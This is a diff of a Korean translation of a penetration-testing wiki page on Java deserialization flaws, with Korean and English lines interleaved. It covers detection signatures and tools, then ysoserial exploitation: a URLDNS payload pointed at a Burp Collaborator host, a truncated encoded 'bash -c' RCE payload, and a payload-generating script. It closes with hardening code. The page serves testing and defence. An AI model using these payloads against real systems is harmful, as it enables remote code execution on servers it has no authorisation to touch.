- XStream 버전이 1.46 이하인 경우, 직렬화 문제에 취약한 `XStream`의 `fromXML` 메서드.
|
||||
- `readObject` 메서드와 결합된 `ObjectInputStream`.
|
||||
- `readObject`, `readObjectNodData`, `readResolve`, 또는 `readExternal`과 같은 메서드의 구현.
|
||||
- `XMLDecoder`가 외부 사용자가 정의한 매개변수와 함께 사용되는 경우.
|
||||
- `XStream`의 `fromXML` 메서드, 특히 XStream 버전이 1.46 이하인 경우 직렬화 문제에 취약할 수 있습니다.
|
||||
- `ObjectInputStream`이 `readObject` 메서드와 함께 사용되는 경우.
|
||||
- `readObject`, `readObjectNodData`, `readResolve`, `readExternal`와 같은 메서드의 구현.
|
||||
- `ObjectInputStream.readUnshared`.
|
||||
- `Serializable`의 일반적인 사용.
|
||||
|
||||
#### 블랙 박스
|
||||
#### Black Box
|
||||
|
||||
블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "매직 바이트"**를 찾으세요 (`ObjectInputStream`에서 유래):
|
||||
Black Box 테스트의 경우, java 직렬화 객체(`ObjectInputStream`에서 유래)를 나타내는 특정 **signatures or "Magic Bytes"**를 찾아보세요:
|
||||
|
||||
- 16진수 패턴: `AC ED 00 05`.
|
||||
- Base64 패턴: `rO0`.
|
||||
- `Content-type`이 `application/x-java-serialized-object`로 설정된 HTTP 응답 헤더.
|
||||
- 이전 압축을 나타내는 16진수 패턴: `1F 8B 08 00`.
|
||||
- 이전 압축을 나타내는 Base64 패턴: `H4sIA`.
|
||||
- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
|
||||
- Hexadecimal pattern: `AC ED 00 05`.
|
||||
- Base64 pattern: `rO0`.
|
||||
- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`.
|
||||
- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`.
|
||||
- Base64 pattern indicating prior compression: `H4sIA`.
|
||||
- Web files with the `.faces` extension and the `faces.ViewState` parameter. 웹 애플리케이션에서 이러한 패턴이 발견되면 [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md)에 자세히 설명된 대로 조사를 수행해야 합니다.
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### 취약점 확인
|
||||
### 취약성 확인
|
||||
|
||||
**Java Deserialized exploit가 어떻게 작동하는지 배우고 싶다면** [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), 및 [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)를 살펴보아야 합니다.
|
||||
만약 **learn about how does a Java Deserialized exploit work** 를 배우고 싶다면 다음을 참고하세요: [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), 및 [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### 화이트 박스 테스트
|
||||
#### SignedObject-gated deserialization and pre-auth reachability
|
||||
|
||||
알려진 취약점이 있는 애플리케이션이 설치되어 있는지 확인할 수 있습니다.
|
||||
최신 코드베이스는 종종 deserialization을 `java.security.SignedObject`로 래핑하고 `getObject()`를 호출하기 전에 서명을 검증합니다(이때 `getObject()`는 내부 객체를 deserializes합니다). 이는 임의의 최상위 gadget classes를 방지하지만, 공격자가 유효한 서명을 얻을 수 있는 경우(예: private-key compromise 또는 signing oracle)에는 여전히 악용될 수 있습니다. 또한, error-handling 흐름은 unauthenticated users를 위해 session-bound tokens를 발행할 수 있어, 보호된 sinks에 pre-auth 상태에서 접근이 노출될 수 있습니다.
|
||||
|
||||
For a concrete case study with requests, IoCs, and hardening guidance, see:
|
||||
|
||||
{{#ref}}
|
||||
java-signedobject-gated-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
#### 화이트박스 테스트
|
||||
|
||||
설치된 애플리케이션 중 알려진 취약점이 있는 것이 있는지 확인할 수 있습니다.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
당신은 **취약한 모든 라이브러리**를 확인하고 [**Ysoserial**](https://github.com/frohoff/ysoserial)이 제공할 수 있는 익스플로잇을 찾을 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에 표시된 라이브러리를 확인할 수 있습니다.\
|
||||
또한 [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)를 사용하여 익스플로잇할 수 있는 가능한 가젯 체인을 검색할 수 있습니다.\
|
||||
**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며 잘못된 긍정 결과를 나타낼 수 있습니다**.
|
||||
You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
취약한 것으로 알려져 있고 [**Ysoserial**](https://github.com/frohoff/ysoserial)가 익스플로잇을 제공할 수 있는 모든 라이브러리를 **확인해볼 수 있습니다**. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에 표시된 라이브러리들을 확인할 수 있습니다.\
|
||||
You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
|
||||
또는 [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)를 사용해 이용 가능한 gadget chains를 검색할 수 있습니다.\
|
||||
When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.\
|
||||
**gadgetinspector**를 실행(빌드 후)할 때 많은 경고/오류가 표시되더라도 신경 쓰지 말고 끝까지 실행하세요. 결과는 모두 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. 단, **gadgetinspector는 익스플로잇을 생성하지 않으며 false positives를 표시할 수 있습니다**.
|
||||
|
||||
#### 블랙 박스 테스트
|
||||
#### Black Box Test
|
||||
|
||||
Burp 확장 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하여 **어떤 라이브러리가 사용 가능한지**(버전 포함) 식별할 수 있습니다. 이 정보를 통해 취약점을 익스플로잇할 **페이로드를 선택하기가 더 쉬워질 수 있습니다**.\
|
||||
[**GadgetProbe에 대해 더 알아보려면 여기를 읽으세요.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe는 **`ObjectInputStream` deserialization**에 중점을 두고 있습니다.
|
||||
Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
|
||||
Burp extension인 [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)를 사용하면 **어떤 라이브러리가 사용 가능한지**(심지어 버전까지) 확인할 수 있습니다. 이 정보를 바탕으로 취약점을 익스플로잇하기 위한 **payload 선택이 더 쉬워질 수 있습니다**.\
|
||||
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe is focused on **`ObjectInputStream` deserializations**.\
|
||||
GadgetProbe는 **`ObjectInputStream` deserialization**에 초점을 맞추고 있습니다.
|
||||
|
||||
Burp 확장 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하여 **ysoserial로 익스플로잇할 수 있는 취약한 라이브러리**를 **식별하고** 익스플로잇할 수 있습니다.\
|
||||
[**Java Deserialization Scanner에 대해 더 알아보려면 여기를 읽으세요.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중점을 두고 있습니다.
|
||||
Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
|
||||
Burp extension인 [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)를 사용하면 ysoserial로 익스플로잇 가능한 **취약한 라이브러리들을 식별**하고 **익스플로잇**할 수 있습니다.\
|
||||
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.\
|
||||
Java Deserialization Scanner도 **`ObjectInputStream`** deserialization에 중점을 둡니다.
|
||||
|
||||
또한 [**Freddy**](https://github.com/nccgroup/freddy)를 사용하여 **Burp**에서 **deserialization** 취약점을 **탐지**할 수 있습니다. 이 플러그인은 **`ObjectInputStream`** 관련 취약점뿐만 아니라 **Json** 및 **Yml** deserialization 라이브러리의 취약점도 탐지합니다. 활성 모드에서는 슬립 또는 DNS 페이로드를 사용하여 이를 확인하려고 시도합니다.\
|
||||
[**Freddy에 대한 더 많은 정보를 여기에서 찾을 수 있습니다.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
|
||||
또한 [**Freddy**](https://github.com/nccgroup/freddy)를 사용해 **Burp**에서 deserialization 취약점을 **탐지**할 수 있습니다. 이 플러그인은 **`ObjectInputStream`** 관련 취약점뿐만 아니라 **Json** 및 **Yml** deserialization 라이브러리에서 발생하는 취약점도 탐지합니다. 액티브 모드에서는 sleep 또는 DNS payload를 사용해 이를 확인하려 시도합니다.\
|
||||
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**직렬화 테스트**
|
||||
**Serialization Test**
|
||||
|
||||
서버에서 취약한 라이브러리가 사용되고 있는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\
|
||||
웹 애플리케이션으로 전송되는 자바 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다.
|
||||
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\
|
||||
항상 서버에서 취약한 라이브러리 사용 여부만 확인하는 것이 전부는 아닙니다. 경우에 따라 직렬화된 객체 내부의 데이터를 **수정하여 일부 검증을 우회**할 수 있고(웹앱 내에서 관리자 권한을 얻을 수도 있습니다) 그럴 수 있습니다.\
|
||||
If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.\
|
||||
웹 애플리케이션으로 전송되는 Java serialized object를 발견하면, **[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)를 사용해 전송되는 serialization 객체를 더 사람이 읽기 쉬운 형태로 출력할 수 있습니다**. 어떤 데이터를 전송하는지 알면 수정하여 검증을 우회하기가 더 쉬워집니다.
|
||||
|
||||
### **익스플로잇**
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial)입니다 ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 또한 복잡한 명령(예: 파이프 사용)을 사용할 수 있는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)를 사용하는 것도 고려할 수 있습니다.\
|
||||
이 도구는 **`ObjectInputStream`** 익스플로잇에 **중점을 두고** 있습니다.\
|
||||
나는 **RCE** 페이로드를 테스트하기 전에 **"URLDNS"** 페이로드를 **사용하기 시작할 것입니다**. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다.
|
||||
The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
|
||||
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))입니다. 또한 파이프 등을 포함한 복잡한 명령을 사용할 수 있게 해주는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)를 고려할 수 있습니다.\
|
||||
Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
|
||||
이 도구는 **`ObjectInputStream`** 익스플로잇에 **초점**을 맞추고 있다는 점을 유의하세요.\
|
||||
I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.\
|
||||
인젝션이 가능한지 테스트할 때는 RCE payload 전에 **"URLDNS"** payload를 먼저 사용하는 것을 **권장**합니다. 다만 "URLDNS" payload가 동작하지 않을 수 있지만 다른 RCE payload는 동작할 수 있다는 점도 기억하세요.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -483,9 +510,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때 ">" 또는 "|"와 같은 **특수 문자를 사용할 수 없습니다**. 실행의 출력을 리디렉션하거나, 명령을 실행하기 위해 "$()"를 사용하거나, **공백으로 구분된 인수를 명령에 전달할 수 없습니다** (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지를 사용할 수 있습니다](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
**java.lang.Runtime.exec()**용 payload를 만들 때, 실행의 출력을 리다이렉트하기 위해 ">"나 "|" 같은 **special characters**를 사용하거나 명령을 실행하기 위한 "$()"을 사용하거나 심지어 공백으로 구분된 인수를 **pass arguments**로 전달할 수 없습니다 (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). 페이로드를 올바르게 인코딩하려면 [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
다음 스크립트를 사용하여 Windows와 Linux에 대한 **모든 가능한 코드 실행** 페이로드를 생성한 후 취약한 웹 페이지에서 테스트해 보세요:
|
||||
다음 스크립트를 사용하여 Windows와 Linux용 **all the possible code execution** payloads를 생성한 다음 취약한 웹 페이지에서 테스트해 보세요:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -508,12 +535,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
당신은 **사용** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **ysoserial과 함께 더 많은 exploits를 생성하는 데 사용할 수 있습니다**. 도구가 소개된 **발표 슬라이드**에서 이 도구에 대한 자세한 정보를 확인할 수 있습니다: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)는 Java에서 다양한 **Json** 및 **Yml** 직렬화 라이브러리를 악용하기 위한 페이로드를 생성하는 데 사용할 수 있습니다.\
|
||||
프로젝트를 컴파일하기 위해 `pom.xml`에 이 **dependencies**를 **추가**해야 했습니다:
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)은 Java의 다양한 **Json** 및 **Yml** serialization 라이브러리를 exploit하기 위한 payloads를 생성하는 데 사용할 수 있습니다.\
|
||||
프로젝트를 컴파일하기 위해 이 **dependencies**를 `pom.xml`에 **추가**해야 했습니다:
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -528,44 +555,44 @@ You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollecti
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**Maven을 설치하고**, **프로젝트를 컴파일합니다**:
|
||||
**maven을 설치**하고 프로젝트를 **컴파일**하세요:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
```
|
||||
#### FastJSON
|
||||
|
||||
이 Java JSON 라이브러리에 대해 더 알아보세요: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
이 Java JSON 라이브러리에 대해 자세히 알아보기: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Labs
|
||||
### 실습
|
||||
|
||||
- ysoserial 페이로드를 테스트하고 싶다면 **이 웹앱을 실행하세요**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- ysoserial 페이로드를 테스트하려면 이 웹앱을 **실행**할 수 있습니다: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Why
|
||||
### 이유
|
||||
|
||||
Java는 다양한 목적을 위해 많은 직렬화를 사용합니다:
|
||||
Java는 다양한 목적을 위해 직렬화를 많이 사용합니다:
|
||||
|
||||
- **HTTP 요청**: 직렬화는 매개변수, ViewState, 쿠키 등을 관리하는 데 널리 사용됩니다.
|
||||
- **RMI (원격 메서드 호출)**: Java RMI 프로토콜은 직렬화에 전적으로 의존하며, Java 애플리케이션의 원격 통신의 초석입니다.
|
||||
- **HTTP를 통한 RMI**: 이 방법은 Java 기반의 두꺼운 클라이언트 웹 애플리케이션에서 일반적으로 사용되며, 모든 객체 통신에 직렬화를 활용합니다.
|
||||
- **JMX (Java Management Extensions)**: JMX는 네트워크를 통해 객체를 전송하는 데 직렬화를 사용합니다.
|
||||
- **사용자 정의 프로토콜**: Java에서는 표준 관행으로 원시 Java 객체를 전송하는 것이 포함되며, 이는 향후 익스플로잇 예제에서 시연될 것입니다.
|
||||
- **HTTP requests**: 직렬화는 파라미터, ViewState, 쿠키 등의 관리에 널리 사용됩니다.
|
||||
- **RMI (Remote Method Invocation)**: Java RMI 프로토콜은 전적으로 직렬화에 의존하며 Java 애플리케이션의 원격 통신의 핵심입니다.
|
||||
- **RMI over HTTP**: 이 방법은 Java 기반의 thick client 웹 애플리케이션에서 흔히 사용되며 모든 객체 통신에 직렬화를 사용합니다.
|
||||
- **JMX (Java Management Extensions)**: JMX는 네트워크를 통해 객체를 전송할 때 직렬화를 사용합니다.
|
||||
- **Custom Protocols**: Java에서는 표준 관행이 raw Java objects의 전송을 포함하며, 이는 이후의 exploit examples에서 시연될 것입니다.
|
||||
|
||||
### Prevention
|
||||
### 예방
|
||||
|
||||
#### Transient objects
|
||||
|
||||
`Serializable`을 구현하는 클래스는 직렬화되지 않아야 하는 클래스 내의 객체를 `transient`로 구현할 수 있습니다. 예를 들어:
|
||||
`Serializable`을 구현하는 클래스는 직렬화되어서는 안 되는 클래스 내부의 객체를 `transient`로 표시할 수 있습니다. 예:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Serializable를 구현해야 하는 클래스의 직렬화를 피하십시오
|
||||
#### Serializable을 구현해야 하는 클래스의 Serialization을 피하기
|
||||
|
||||
특정 **객체가 클래스 계층 구조로 인해 `Serializable`** 인터페이스를 구현해야 하는 시나리오에서는 의도하지 않은 역직렬화의 위험이 있습니다. 이를 방지하기 위해, 아래와 같이 항상 예외를 발생시키는 `final` `readObject()` 메서드를 정의하여 이러한 객체가 역직렬화되지 않도록 해야 합니다:
|
||||
클래스 계층 때문에 특정 **객체들이 `Serializable`을 구현해야 하는** 상황에서는 의도치 않게 역직렬화될 위험이 있습니다. 이를 방지하려면 아래 예시처럼 항상 예외를 던지는 `final` `readObject()` 메서드를 정의하여 해당 객체들이 역직렬화되지 않도록 하세요:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -573,12 +600,12 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||
```
|
||||
#### **Java에서 역직렬화 보안 강화**
|
||||
|
||||
**`java.io.ObjectInputStream` 사용자 정의**는 역직렬화 프로세스를 보호하기 위한 실용적인 접근 방식입니다. 이 방법은 다음과 같은 경우에 적합합니다:
|
||||
**Customizing `java.io.ObjectInputStream`**는 역직렬화 프로세스를 보호하기 위한 실용적인 방법입니다. 이 방법은 다음과 같은 경우에 적합합니다:
|
||||
|
||||
- 역직렬화 코드가 귀하의 제어 하에 있을 때.
|
||||
- 역직렬화에 예상되는 클래스가 알려져 있을 때.
|
||||
- 역직렬화 코드가 귀하의 제어 하에 있는 경우.
|
||||
- 역직렬화 대상 클래스들이 알려져 있는 경우.
|
||||
|
||||
**`resolveClass()`** 메서드를 재정의하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 `Bicycle` 클래스만 역직렬화되도록 명시적으로 허용된 클래스 외에는 어떤 클래스도 역직렬화되지 않도록 방지합니다:
|
||||
**`resolveClass()`** 메서드를 오버라이드하여 역직렬화를 허용된 클래스만으로 제한하세요. 이렇게 하면 명시적으로 허용된 클래스 이외의 클래스 역직렬화를 방지할 수 있습니다. 예를 들어 다음 예제는 역직렬화를 `Bicycle` 클래스만으로 제한합니다:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -599,17 +626,17 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Java 에이전트를 사용한 보안 강화**는 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **유해한 클래스 블랙리스트**에 적용되며, JVM 매개변수를 사용합니다:
|
||||
**Using a Java Agent for Security Enhancement**는 코드 수정을 할 수 없을 때 대체 솔루션을 제공합니다. 이 방법은 주로 **blacklisting harmful classes**에 적용되며, JVM 파라미터를 사용합니다:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
동적으로 역직렬화를 안전하게 하는 방법을 제공하며, 즉각적인 코드 변경이 비현실적인 환경에 이상적입니다.
|
||||
이는 deserialization을 동적으로 보호하는 방법을 제공하며, 즉각적인 코드 변경이 실용적이지 않은 환경에 적합합니다.
|
||||
|
||||
[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)에서 예제를 확인하세요.
|
||||
예제는 [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)에서 확인하세요.
|
||||
|
||||
**직렬화 필터 구현**: Java 9는 **`ObjectInputFilter`** 인터페이스를 통해 직렬화 필터를 도입하여, 역직렬화되기 전에 직렬화된 객체가 충족해야 하는 기준을 지정하는 강력한 메커니즘을 제공합니다. 이러한 필터는 전역적으로 또는 스트림별로 적용할 수 있어 역직렬화 프로세스에 대한 세밀한 제어를 제공합니다.
|
||||
**직렬화 필터 구현**: Java 9는 **`ObjectInputFilter`** 인터페이스를 통해 직렬화 필터를 도입했으며, 이는 직렬화된 객체가 역직렬화되기 전에 충족해야 할 기준을 지정할 수 있는 강력한 메커니즘을 제공합니다. 이러한 필터는 전역적으로 또는 스트림별로 적용할 수 있어 역직렬화 과정을 세밀하게 제어할 수 있습니다.
|
||||
|
||||
직렬화 필터를 사용하려면, 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예를 들어:
|
||||
직렬화 필터를 활용하려면 모든 역직렬화 작업에 적용되는 전역 필터를 설정하거나 특정 스트림에 대해 동적으로 구성할 수 있습니다. 예를 들어:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -621,101 +648,102 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**외부 라이브러리를 활용한 보안 강화**: **NotSoSerial**, **jdeserialize**, **Kryo**와 같은 라이브러리는 Java 역직렬화를 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스의 화이트리스트 또는 블랙리스트 작성, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현과 같은 추가 보안 계층을 제공할 수 있습니다.
|
||||
**Leveraging External Libraries for Enhanced Security**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
|
||||
|
||||
- **NotSoSerial**은 신뢰할 수 없는 코드의 실행을 방지하기 위해 역직렬화 프로세스를 가로챕니다.
|
||||
- **jdeserialize**는 역직렬화하지 않고도 직렬화된 Java 객체를 분석할 수 있게 하여 잠재적으로 악의적인 콘텐츠를 식별하는 데 도움을 줍니다.
|
||||
- **Kryo**는 속도와 효율성을 강조하는 대체 직렬화 프레임워크로, 보안을 강화할 수 있는 구성 가능한 직렬화 전략을 제공합니다.
|
||||
- **NotSoSerial** intercepts deserialization processes to prevent execution of untrusted code.
|
||||
- **jdeserialize** allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
|
||||
- **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.
|
||||
|
||||
### 참고 문헌
|
||||
### References
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- 역직렬화 및 ysoserial 강의: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
